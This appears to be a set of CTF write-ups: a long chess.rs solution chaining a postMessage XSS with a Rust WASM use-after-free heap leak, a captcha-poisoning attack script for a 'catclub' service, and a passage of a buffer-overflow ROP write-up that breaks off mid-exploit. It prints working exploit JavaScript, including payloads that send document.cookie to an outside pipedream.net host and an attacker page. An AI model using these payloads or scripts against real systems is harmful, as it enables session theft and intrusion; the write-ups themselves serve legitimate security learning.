Using the know information we can already try to create some PoC (Proof of concepts). If we open Developer Tools inside the browser and set a breakpoint right after the id we can easily extract it and use it to play around with the engine. Alternatively, we can host the chess.rs ourselves and hardcode the id.

Now we use the following Code to directly communicate with the engine:

$("#engine")[0].contentWindow.postMessage({type:'<img src=x onerror=alert(1)>', id:'0x6fe1be20c0ffee'}, 'http://192.168.56.10:1337');

And tada it works.

It is also possible to just communicate directly with index.

window.postMessage({type:'error', data:'<img src=x onerror=alert(1)>', id:'0x6fe1be20c0ffee'});

Exploit Interface

After creating and finding this PoC we needed to find a way to send messages to the index and engine. As we found out earlier there wasn't an GET Request or something else we could use for this mission.

We decided that iframes are the way to go, they allow us to open the website and directly communicate with it, these options seemed too good to be true (and turned out to be) and we set forth to create another PoC.

poc.html

<!doctype html>
<html>
    <body>
        <iframe src="http://192.168.56.10:1337/" id="index" width="2000px" height="1000px"></iframe>
        <script>
const index = document.getElementById("index").contentWindow;
const origin = "http://192.168.56.10:1337/"
const id = '0x6fe1be20c0ffee';
const send = (msg) => index.postMessage({ ...msg, id}, origin);

window.onmessage = (e) => {
    console.log(e.data);
    if (e.data === "ready") {
        send({type:'error', data:'<img src=x onerror=alert(1)>'});
    }
};
        </script>
    </body>
</html>

And it worked again!!!

Now we only need to somehow leak the id and we should be able to solve this challenge.

Authors Note:

Normally at this point, a seasoned CTF veteran should realize that things are going too smoothly especially considering that no one has solved this challenge at this point. But let us stop with the foreshadowing and continue.

chess_wasm

After finding a way to create an XSS we now look into ./chess_wasm code the find a way to leak the id.

./chess-wasm:
    Cargo.lock
    Cargo.toml

    ./chess-wasm/src:
        game.rs
        handler.rs
        lib.rs

There are 3 rust files:

lib.rs

interface for accessing the imported rust dependencies

handler.rs

iframe onmessage interface.

game.rs

actual game logic

After looking into the source code we discover that there is a hidden functionality in the init call. It is possible to manually set a FEN, to specify a start layout in the chess game.

handler.rs

...

pub fn handle(msg: &EngineMessage) -> anyhow::Result<EngineResponse> {
    match msg.r#type.as_str() {
        "init" => init(msg),
        "get_state" => get_state(msg),
        "play_move" => play_move(msg),
        unk => Err(anyhow!("Unknown type '{unk}'")),
    }
}

fn get_data<T: DeserializeOwned>(data: &Option<serde_json::Value>) -> anyhow::Result<T> { ... }

type InitData = String;
fn init(msg: &EngineMessage) -> anyhow::Result<EngineResponse> {
    // get data attribute from message
    let data: InitData = get_data(&msg.data).unwrap_or_default();

    // game id format check alphanumeric 16 characters max
    ...

    let mut state = STATE.lock().unwrap();

    // check if game with same id already exists
    if let Some(state) = state.get(&msg.id) {
        return Ok(EngineResponse {
            new_type: Some("error".to_string()),
            data: Some(json!(format!("The game '{:#?}' already exists", state))),
        });
    }

    // create a new game with provided data
    let game = Game::start(&data);
    state.insert(msg.id.clone(), EngineState { game });

    Ok(EngineResponse {
        new_type: None,
        data: Some(json!("ready")),
    })
}

fn get_state(msg: &EngineMessage) -> anyhow::Result<EngineResponse> { ... }
fn play_move(msg: &EngineMessage) -> anyhow::Result<EngineResponse> { ... }

game.rs

...

#[derive(Debug)]
pub enum StartType {
    Fen,
    Epd,
}

// to store all moves and history
#[derive(Debug)]
pub struct Game<'a> {
    pub start_type: StartType,
    pub start: &'a str,
    pub moves: Vec<Move>,
}

static DEFAULT_FEN: &str = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1";

pub trait ChessGame {
    fn start(init: &str) -> Self;
    fn get_state(&self) -> Chess;
    fn get_fen(&self) -> String;
    fn get_moves(&self) -> Vec<String>;
    fn make_move(&mut self, m: &str) -> anyhow::Result<String>;
}

fn validate_fen<'a, 'b>(fen: &'b str, default: &'a &'b str) -> (StartType, &'a str) { ... }
fn validate_epd<'a, 'b>(epd: &'b str, default: &'a &'b str) -> (StartType, &'a str) { ... }

impl ChessGame for Game<'_> {
    fn start(init: &str) -> Self {
        let mut validator: fn(_, _) -> (StartType, &'static str) = validate_fen;
        if init.contains(';') {
            validator = validate_epd;
        }
        // check if init is set and use DEFAULT_FEN if not
        let data: (StartType, &str) = validator(init, &DEFAULT_FEN);
        Game {data: Some(json!(format!("The game '{:#?}' already exists", state))),
            start_type: data.0,
            start: data.1,
            moves: Vec::new(),
        }
    }

    fn get_state(&self) -> shakmaty::Chess { ... }
    fn get_fen(&self) -> String { ... }
    fn get_moves(&self) -> Vec<String> { ... }
    fn make_move(&mut self, m: &str) -> anyhow::Result<String> { ... }
}

Authors Note:

It should also be possible to set an EPD by adding a semicolon (;), but the library uses Shakmaty for validating FENs or EPDs, which doesn't support semicolons for EPDs.

We also realized that wasm_binding version used was out of date (2.5 years old), but we didn't find any vulnerability regarding this discovery.

Leaking ID

Trying to set a starting FEN manually actually corrupts the newly created Game structure. This can be reproduced like this.

leak.html

<!doctype html>
<html>
    <body>
        <iframe src="http://192.168.56.10:1337/" id="index" width="2000px" height="1000px"></iframe>
        <script>
const index = document.getElementById("index").contentWindow;
const origin = "http://192.168.56.10:1337/"
const id = '0x6fe1be20c0ffee';
const send = (msg) => index.postMessage({ ...msg, id}, origin);

window.onmessage = (e) => {
    if (e.data === "ready") {
        // create a new chess game with custom FEN
        e.source.postMessage({data:'k6K/8/8/8/8/8/8/8 w - - 0 1', type:'init', id:'any'}, 'http://192.168.56.10:1337');
        setTimeout(() => {
            // leak heap memory with use after free vulnerability
            e.source.postMessage({type:'init', data:' ', id:'any'}, 'http://192.168.56.10:1337');
        }, 100);
    }
    if (e.data.type === 'error'){
        console.log(e.data.data);
    } else console.log(e.data);
};
        </script>
    </body>
</html>

Returns the output:

The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "    game: Game {\n       8\0\0",
        moves: [],
    },
}' already exists

Looking at the output we realize that we likely leaked some data from the heap. There is probably due to a use after free (UAF) vulnerability in Rust, where the heap memory allocated by FEN is probably freed even though it is still in use. This is an important discovery because it will likely help us leak the original id, which is needed for our XSS.

The leak occurs if a duplicated ID is provided, which results in the corresponding game to be returned in an error message.

handler.rs

// check if game with same id already exists
if let Some(state) = state.get(&msg.id) {
    return Ok(EngineResponse {
        new_type: Some("error".to_string()),
        data: Some(json!(format!("The game '{:#?}' already exists", state))),
    });
}

Playing around with this vulnerability sometimes returns and Error Uncaught TypeError: TextDecoder.decode : Decoding failed in the TextDecoder. This is due to an illegal character being decoded in /js/chess_wasm.js which is loaded in engine.html. This makes the exploit creation process a lot harder because we don't just need to leak the right heap but we must also watch out that no illegal character is decoded. Also we can't just remove illegal characters because we don't have access to the wasm to js interface.

Trial and Error

After discovering this vulnerability we started manually changing the length of the creation and leak message. This was fairly easy because Shakmaty (the library used for FEN parsing) trimmed the provided fen which allowed us to generate arbitrary long FENs. It is also important to note, that the leak Message doesn't need to provide a valid FEN.

creation (first call with unique id)

specifies how much data can be leaked and how large the freed memory section is

leak (repeated call with an id)

moves the leaked memory section with the length of the send request (id and type attributes are mandatory)

After some trial and error, we managed to leak 8 bytes of the original game id.

8/16

const index = document.getElementById('index').contentWindow;
const origin = "https://chessrs.mc.ax/";
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '0x6fe1be4';
console.log('PWN');
var source = null;

function ws(nmb){
    let out = "";
    for(let i = 0; i < nmb; i++) out += " ";
    return out;
}

window.onmessage = (e) => {
    if (source == null){
        source = e.source;
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq - 0 1', id:id}, origin);
        setTimeout(() => {
            console.log('create');
            index.postMessage('ready', origin);
            setTimeout(() => {
                source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq' + ws(0x48)  + ' - 0 1',id:id}, origin);
            }, 500);
        }, 500);
    }
    if (e.data === 'ready') console.log(e.data);
    else console.log(e.data.data);
    return;
};

Then we discovered 5 more bytes.

13/16

source = e.source;
source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq - 0 1', id:id}, origin);
setTimeout(() => {
    console.log('create');
    index.postMessage('ready', origin);
    setTimeout(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq' + ws(0x7 + 0x38)  + ' - 0 1',id:id}, origin);
        setTimeout(() => {
            source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w KQkq'+ws(0x8)+' - 0 1',id:id2}, origin);
            setTimeout(() => {
                index.postMessage('ready', origin);
                setTimeout(() => {
                    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w -' + ws(0x3)  + '- 0 1',id:id2}, origin);
                }, 500);
            }, 500);
        }, 500);
    }, 500);
}, 500);

At this point we realized that the remaining 3 characters only results in about 200k (62^3) permutations, so we tried to brute force it. Our brute force script took about 10 seconds, but after creating a ticket and asking how long the adminbot stays on the site, we received the answer that exploit must take no more than 5 seconds, which made this approach impossible. Therefore we proceeded in trying to leak more bytes.

15/16

source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
setTimeout(() => {
    console.log('create');
    index.postMessage('ready', origin);
    setTimeout(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        setTimeout(() => {
            source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
            setTimeout(() => {
                index.postMessage('ready', origin);
                setTimeout(() => {
                    source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
                    setTimeout(() => {
                        index.postMessage('ready', origin);
                        setTimeout(() => {
                            source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
                        }, 500);
                    }, 500);
                }, 500);
            }, 500);
        }, 500);
    }, 500);
}, 500);

This created the output:

{id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "xzro2tXK\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
        moves: [],
    },
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "_____________________________aWe38xzro2",
        moves: [],
    },
}' already exists
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "________________________:\"Ot\u{13}\0\0\00x6fe1b",
        moves: [],
    },
}' already exists
index.js:84 Ot aWe38xzro2tXK

As you can see different bytes of the original game id are leaked in every error message.

Authors Note:

Even though this exploit code doesn't seem overly complicated it took multiple hours of trial and error to create it.

7 Stages of Grief

After seemingly combing all components we created our first possible solution for the challenge. But we soon hit a roadblock.

index.html

<!doctype html>
<html>
    <head>
        <title>chess.rs exploit</title>
    </head>
    <body>
        <iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe>
        <script type="module" src="/js/index.js"></script>
    </body>
</html>

js/index.js

const delay = t => new Promise(resolve => setTimeout(resolve, t));
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const index = document.getElementById('index').contentWindow;
const origin = "https://chessrs.mc.ax/";
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '0x6fe1be4';
console.log('PWN');
var source = null;
var leaked_id = "";

function ws(nmb){
    let out = "";
    for(let i = 0; i < nmb; i++) out += " ";
    return out;
}

window.onmessage = (e) => {
    console.log(e.data);
    if (source == null){
        source = e.source;
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin)

        delay(50).then(() => {
            console.log('create');
            index.postMessage('ready', origin);
            return delay(50);
        }).then(() => {
       source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
            return delay(50);
        }).then(() => {
            source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
            return delay(50);
        }).then(() => {
            index.postMessage('ready', origin);
            return delay(50);
        }).then(() => {
       source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
            return delay(50);
        }).then(() => {
            index.postMessage('ready', origin);
            return delay(50);
        }).then(() => {
       source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
            return delay(50);
        }).then(() => {
            console.log(leaked_id);
       fetch(`https://en3kdn8ehra43.x.pipedream.net/?${leaked_id}`);
            for (var i = 0; i < alphabet.length; i++) {
                let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
                index.postMessage({ type: 'error', id: id, data: "<script>fetch(`https://en3kdn8ehra43.x.pipedream.net/?${document.cookie}`);</script>" }, origin);
            }
        });
    }

    if (e.data === 'ready') return;

    if (e.data.type === 'error') {
        if (leaked_id.length === 0) {
            leaked_id = e.data.data.substr(82,8);
        } else if (leaked_id.length === 8) {
            leaked_id = e.data.data.substr(111,5) + leaked_id;
        } else if (leaked_id.length === 13) {
       leaked_id = e.data.data.substr(109,2) + ' ' + leaked_id;
    }
    }
    //index.postMessage(e.data, origin);
    return;
};

After trying to extract cookies with this script we soon came to realize that only Same-Site: None could be extracted by this method, not the default Same-Site: Lax.

Noooooooooooooooooooooo.mp3

Thinking that there is no other way to create an exploit interface we decided to create a ticket an ask if there might be a problem with the adminbot and if this was the intended solution.

Authors Note:

After this setback, we decided to call it for tonight because we had already spent about 15 hours on this challenge and were close to collapsing.

adminbot-test.js

Our bargain the day befoire resulted in the release of adminbot-test.js which provided us with important information.

// npm i puppeteer
// script to emulate admin bot

const puppeteer = require("puppeteer");

const FLAG = "flag{test_flag}";

function sleep(time) {
    return new Promise(resolve => {
        setTimeout(resolve, time)
    })
}

const visit = async (url) => {
    let browser;
    try {
        browser = await puppeteer.launch({
            headless: true,
            pipe: true,
            args: [
                "--no-sandbox",
                "--disable-setuid-sandbox",
            ],
            dumpio: true
        });

        const page = await browser.newPage();
        await page.goto('https://chessrs.mc.ax', { timeout: 3000, waitUntil: 'domcontentloaded' });
        await page.evaluate(flag => {
            document.cookie = `flag=${flag}`;
        }, FLAG);
        await page.goto(url, { timeout: 3000, waitUntil: 'domcontentloaded' });
        await sleep(3000);

        await browser.close();
        browser = null;
    } catch (err) {
        console.log(err);
    } finally {
        if (browser) await browser.close();
    }
};

// place your exploit URL here
visit("EXPLOIT_URL");

First of all, puppeteer uses Chromium by default, which allowed us to create a more suited test environment. Also now we know that cookies are set directly with document.cookie='flag=...' which proved that they have the default security setting SameSite=Lax, that is also why our first attempt didn't work. Also, puppeteer doesn't disable Popups which is major news because our web specialist advised us on using window.open(...) instead of iframes because it allowed us to access SameSite: Lax cookies.

XSS PoC V2

Now we need to create a new Proof of Concept using window.open(...):

poc2.html

<!doctype html>
<html>
    <body>
        <script>
const origin = "http://192.168.56.10:1337/"
const index = window.open(origin); 
const id = '0x6fe1be20c0ffee';
var source = null;

setTimeout(() => {
    index.postMessage({type:'error', data:'<img src=x onerror=alert(1)>', id:id}); 
}, 250);
        </script>
    </body>
</html>

This was a fairly easy task, because it still used .postMessage(...) for communication

the_definition_of_insanity.mp3

Now that we have our new proof of concept we need to leak the id. Sadly our old leak didn't work and we needed to brute force the different combinations of message and leak length again.

here_i_go_again.mp3

After a few hours, i once again create a leak id script that worked on my test environment.

var delaytime = 50;
function exploitWindow(){
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
    delay(delaytime).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x10),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        console.log(leaked_id);
        for (var i = 0; i < alphabet.length; i++) {
            let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
            let payload = `<script> console.log('${id}:' + document.cookie); document.location = '${location.origin}/extract.html?' + document.cookie </script>`;
            index.postMessage({ type: 'error', id: id, data: payload }, origin);
        }
    });
}

That once again managed to leak the 15 Bytes of the id:

Window PWN
index.js:37 {id: '0x6fe1be2', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "Q5D46ARH\u{18}\0\0\0\u{1a}\0\0\0current_fen___",
        moves: [],
    },
}' already exists
index.js:37 {id: '0x6fe1be3', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "________________________:\"NK\u{13}\0\0\00x6fe1be3H\"}#\0\0\0___",
        moves: [],
    },
}' already exists
index.js:37 {id: '', type: 'init', data: 'ready'}
index.js:18 The game 'EngineState {
    game: Game {
        start_type: Fen,
        start: "________________te\",\u{1b}\0\0\0errorCqusQQ5D46",
        moves: [],
    },
}' already exists
index.js:84 NK CqusQQ5D46ARH

Authors Note:

I need the reader to understand that at this point I probably spent about 8 hours of my life manually changing the lengths of strings which brought me to the brink of insanity. After spending this plus more hours on this challenge I didn't just want the flag.

I_need_it.mp3

Mental Breakdown

After doing nearly every step again except this time using a new window instead of an iframe my hopes were up again. With only a few hours reaming until the CTF closes I hoped that this time everything would work out and we finally get the flag.

Once again everything worked on my machine. This time it was also possible to extract LAX document.cookies, which worked on my test instance as well as the main instance one chessrs.mc.ax. But to my surprise, I didn't work.

ARE_YOU_KIDDING_ME.mp3

Authors Note:

insert rant about web challenges here

Light at the end of a Tunnel

Luckily by desperately playing around with my exploit, I concluded that the problem was the duration of my delay and by doubling it, it finally worked on the admin bot :,) .

LEEETTTTSSSS_GGOOOOOOOOOOO!!!!!111!1.mp3

Flag: dice{even_my_pwn_ch4lls_have_an_adm1n_b0t!!!}

Final Exploit (deployed on apache2) :

index.html

<!doctype html>
<html>
    <head>
        <title>chess.rs exploit</title>
    </head>
    <body>
        <!--iframe src="https://chessrs.mc.ax/index.html" id="index" width="2000px" height="1000px"></iframe-->
        <!--<iframe src="https://chessrs.mc.ax/engine.html" id="engine"></iframe>-->
        <script type="module" src="/js/index.js"></script>
    </body>
</html>

js/index.js

const delay = t => new Promise(resolve => setTimeout(resolve, t));
const alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
const origin = "https://chessrs.mc.ax/";
const index = window.open(origin);
//const index = document.getElementById('index').contentWindow;
const id = '0x6fe1be2';
const id2 = '0x6fe1be3';
const id3 = '';
console.log('PWN');
var source = null;
var leaked_id = "";
var delaytime = 100;

window.onmessage = (e) => {
    if (e.data.type === 'error') {
        console.log(e.data.data);
        if (leaked_id.length === 0) {
            leaked_id = e.data.data.substr(82,8);
        } else if (leaked_id.length === 8) {
            leaked_id = e.data.data.substr(109,2) + ' ' + leaked_id;
        } else if (leaked_id.length === 11) {
            leaked_id = leaked_id.substr(0,3) +  e.data.data.substr(120,5) + leaked_id.substr(3, 8);
    } else
        console.log(e.data);
    }
    if (source == null){
        source = e.source;
        setTimeout(exploitIframe, delaytime)
    }
    return;
};


function ws(nmb){
    let out = "";
    for(let i = 0; i < nmb; i++) out += "_";
    return out;
}

function exploitWindow(){
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
    delay(delaytime).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x10),id:id3}, origin);
        return delay(delaytime);
    }).then(() => {
        console.log(leaked_id);
        fetch(location.origin + '/id.html?' + leaked_id);
        for (var i = 0; i < alphabet.length; i++) {
            let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
            let payload = `<script> console.log('${id}:' + document.cookie); document.location = '${location.origin}/extract.html?' + document.cookie </script>`;
            index.postMessage({ type: 'error', id: id, data: payload }, origin);
        }
    });
}

function exploitIframe(){
    source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1' + ws(0x3), id:id}, origin);
    delay(delaytime).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x60),id:id}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:'k6K/8/8/8/8/8/8/8 w - - 0 1'+ws(0xc),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        index.postMessage('ready', origin);
        return delay(delaytime);
    }).then(() => {
       source.postMessage({type:'init', data:ws(0x1d),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        source.postMessage({type:'init', data:ws(0x18),id:id2}, origin);
        return delay(delaytime);
    }).then(() => {
        console.log(leaked_id);
        for (var i = 0; i < alphabet.length; i++) {
            let id = leaked_id.substr(0,2).concat(alphabet[i], leaked_id.substr(3));
            let payload = `<script> console.log(document.cookie); </script>`;
            index.postMessage({ type: 'error', id: id, data: payload }, origin);
        }
    });
}

setTimeout(() => {
    if(source == null){
        source = index.frames[0];
        exploitWindow();
    }
}, delaytime*2);

The Flag was extracted by watching the apache2 logs with tail -f /var/log/apache2/error.log

Author note:

I believe I spend about 19 hours in total on this challenge and I'm just happy we solved it

Its_done_Its_over.mp3

Notes

Future

In the future, we should look into a better way to debug wasm code in order to rationalize memory behaviour better than just trying random values.

Also, we need a better Test interface, that reduces user interaction, maybe using Browser Automation Tools like Puppeteer or Selenium are an Option

Official Writeup

I really recommend reading through the official writeup because it goes more into detail about the underlying bug in Rust that causes the use after free to occur.

Why do these values work? I didn't want to trace heap allocations, so... ¯(ツ)/¯

Good to know that the creator of the solution also just tried random values, I wonder if there is some trick to reduce the amount of time wasted on this process (he probably just wrote a program to brute force it)

Then, with this leak, we can send an error message to the iframe at https://chessrs.mc.ax, and get JS execution on that page! Now there's only one problem left - SameSite. Since the flag is in the admin's cookie and is set with just document.cookie, it is SameSite Lax by default, which means that the cookie isn't in the iframe. I know that one team got really tripped up by this.

Mom_get_the_camera.mp3

We got mentioned in the official write-up!!!!

CInsects CTF 2022 - catclub

2022-03-14T00:00:00+01:00

The challenge catclub is written in Python and offers the service shadymail that can be accessed after an image captcha is solved and the hidden catclub page where various pictures of random cats can be seen.

Service Overview

The home page which consists of a captcha where all images of an specific animal must be selected to proceed.(/)
The shadymail service which can be accessed after completing a captcha (/shadymail/home)
The catclub page where random cat images from the internet are displayed (/catclub/images)
A login page where there is a login form and an image upload that acts as a login if one uploads a dog image that is classified by the captcha algorithm as a cat (biometric check) (/catclub/login)
The flag page where people who passed the fake cat login get to leave a message (/catclub/login ; logged in as dog)

Vulnerability

The goal is to access the page where people can leave comments (flag page). To access this page one has to pass the biometric check as a dog that is classified as a cat.

This is usually impossible because only cats get classified as cats. The vulnerability in this service lies in the fact that the captcha learns which images are cats from user input.

Code excerpt from the captcha service:

# Check if the accuracy is high enough
    if accuracy > ACCURACY_TRESH: #passes captcha
        # Save class votes in user votes
        for image in session["images"]:
            if image in data["clicked_images"]:
                value = 1
            else:
                value = -1
            # Get previous user voting if it exists
            previous_value = int(db.hgetall(f'uservote:{image}').get(goal_class, 0))
            # Write new value to db
            db.hset(f'uservote:{image}', goal_class, previous_value + value)#save all selected images

The problem with this algorithm is that it isn't exact and uses a accuracy threshold to determine if a captcha is solved or not. With this mechanic we can call the captcha service over and over again, select all cat images and select a few dog images so that the captcha still passes but dogs get marked as cats.

Exploit

As the base of the exploit I used the preparedata.py file from the source of the service that loads all images of animals and their true label classification.

I then use this ground truth and comapare it with the images I get from the "/" endpoint (captcha). I select all cats and a few dogs so that I can still pass the accuracy threshold and send the try to "/captchaaas/validate". After a few hundred iterations I get enough dogs smuggled in as cats and can then use these misclassified dogs to circumvent the biometric verification check on "/catclub/login".

After that I can just use a dog to login on "/catclub/login", where the page detects that I am a dog that got classified as a cat and displays all messages left from people who got here first (including flags).

import string
import pickle
import random
import requests
import matplotlib.pyplot as plt
from PIL import Image
from io import BytesIO
from urllib.parse import quote
from base64 import b64encode
from bs4 import BeautifulSoup

#Load image data and labels
def unpickle(file):
    with open(file, 'rb') as fo:
        dict = pickle.load(fo, encoding='latin1')
    return dict

data_batch_1 = unpickle("data_batch_1")
meta = unpickle("batches.meta")

labels = data_batch_1['labels']
images = data_batch_1['data']

print(f"Avalible classes: {meta['label_names']}")

classes = ["bird", "cat", "deer", "dog", "frog", "horse"]

print(f"Selected classes: {classes}")
print(f"Unavaliblbe classes: {list(set(classes) - set(meta['label_names']))}")

used_class_indices = [meta['label_names'].index(class_name) for class_name in classes]

pickle_contents = {}
pickle_images = {}
for idx, image in enumerate(images):
    label = labels[idx]
    if label in used_class_indices:
        image = image.reshape(3,32,32).transpose(1,2,0)
        image = Image.fromarray(image)
        byte_io = BytesIO()
        image.save(byte_io, 'png')
        data = quote(b64encode(byte_io.getvalue()).decode('ascii'))
        image_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=10))
        pickle_contents[data]= meta['label_names'][label]
        pickle_images[data] = image


used_dogs = []

#call captcha service over and over again, select all cats 
for i in range(500):
    id = ""
    while True:
        r = requests.get('http://localhost')
        soup = BeautifulSoup(r.text, 'html.parser')
        id = soup.find_all("div", {"class": "captcha_image_card"})[0].get("id")
        # only smuggle dogs in cptchas where cats must be selected
        if str(soup.find_all('b')[0])=="<b>cat!</b>":
            break

    print(i)
    cats = []
    dogs = []
    for img in soup.find_all('img'):
        if pickle_contents[img.get('src')[23:]]:
            if pickle_contents[img.get('src')[23:]] == "cat":
                cats.append(img.get("id"))
            if pickle_contents[img.get('src')[23:]] == "dog":
                dogs.append(img.get("id"))
                #Save dogs
                pickle_images[img.get('src')[23:]].save("chosen/dogs-"+img.get("id")+".png", 'png')

    stats = [[x,used_dogs.count(x)] for x in set(used_dogs)]

    ids_l1 = set(x[0] for x in stats)  # All ids in list 1
    intersection = [item for item in stats if item[0] in dogs]  # Only those elements of l2 with an id in l1
    intersection.sort(key=lambda tup: tup[1],reverse=True)
    #select dogs with the most hits
    if len(intersection)==0:
        sel_dogs=dogs[0:3]
    elif len(intersection) <3:
        diff = 3-len(intersection)
        sel_dogs = [item[0] for item in intersection]+ [item[0] for item in dogs if item not in [dog for dog in dogs]][0:diff]
    else:
        sel_dogs = [item[0] for item in intersection[0:3]]


    myobj = {'clicked_images': cats+sel_dogs,"id":id}
    used_dogs = used_dogs+sel_dogs
    # send the captcha with the smuggled dogs to the captcha endpoint
    x = requests.post("http://localhost/captchaaas/validate", json = myobj)

# output dogs which are classified the most as cats
stats = [[x,used_dogs.count(x)] for x in set(used_dogs)]
stats.sort(key=lambda tup: tup[1], reverse=True)
print(stats[0:10])

Possible mitigation

Disable the learning feature and just use the label database for verification of captchas instead.

DCTF 2021 - Baby bof

2021-05-17T00:00:00+02:00

Description

It's just another bof.

nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481

Preface

We got a simple binary with output plz don't rop me and after our input plz don't rop me Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04

Overview

Based on the output, we know it was a rop challenge. Also checksec baby_bof gave us.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Loading the binary into ghidra I can calculate the offset of the return address.

So I knew, that after writing 18 characters I could overwrite the return address and control the code flow.

First I tried if I could do a rop only with the binary, but neither Ropper nor RopGadget found enough gadgets. So I had to use libc. For this I first needed to get the address where libc was loaded.

In order for this I leaked the address of got.fgets. If I then substract the address of fgets in libc, I could get the base address of libc. After the leak I would rerun the vulnerable function to make our next input.

Then I could use system and /bin/sh from libc to get a shell.

But somehow this did work on my local machine and not remote. Because I didn't see my error, I gave up and continued with other challenges. Short before the end, I wanted to finish this challenge, so I gave it another try.

I thought, that maybe my local system had a different libc. So I downloaded the root from Github. From their I could extract the libc and loading them side by side showed me the offsets were wrong.

But even with this change it didn't work. Because I thought it could still be some error with the offset, I tried to print /bin/sh with puts. The printout was correctly and I successfully had a shell.

From their I could cat the flag and the challenge was solved.

I didn't understanding why it worked. Testing some bits showed, that their was some call needed before the system or it woudln't work. I modified my script, to just include a ret-Gadget and my final exploit code was.

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.kernel = 'amd64'
#context.log_level = "DEBUG"
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './baby_bof'

elf = ELF(vulnerable)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc2 = ELF('./libc.so.6')


#p = elf.process()#
p = remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481)

p.readuntil('plz don\'t rop me')

fgets_got = elf.symbols['got.fgets']
fgets_libc = libc2.symbols['fgets']
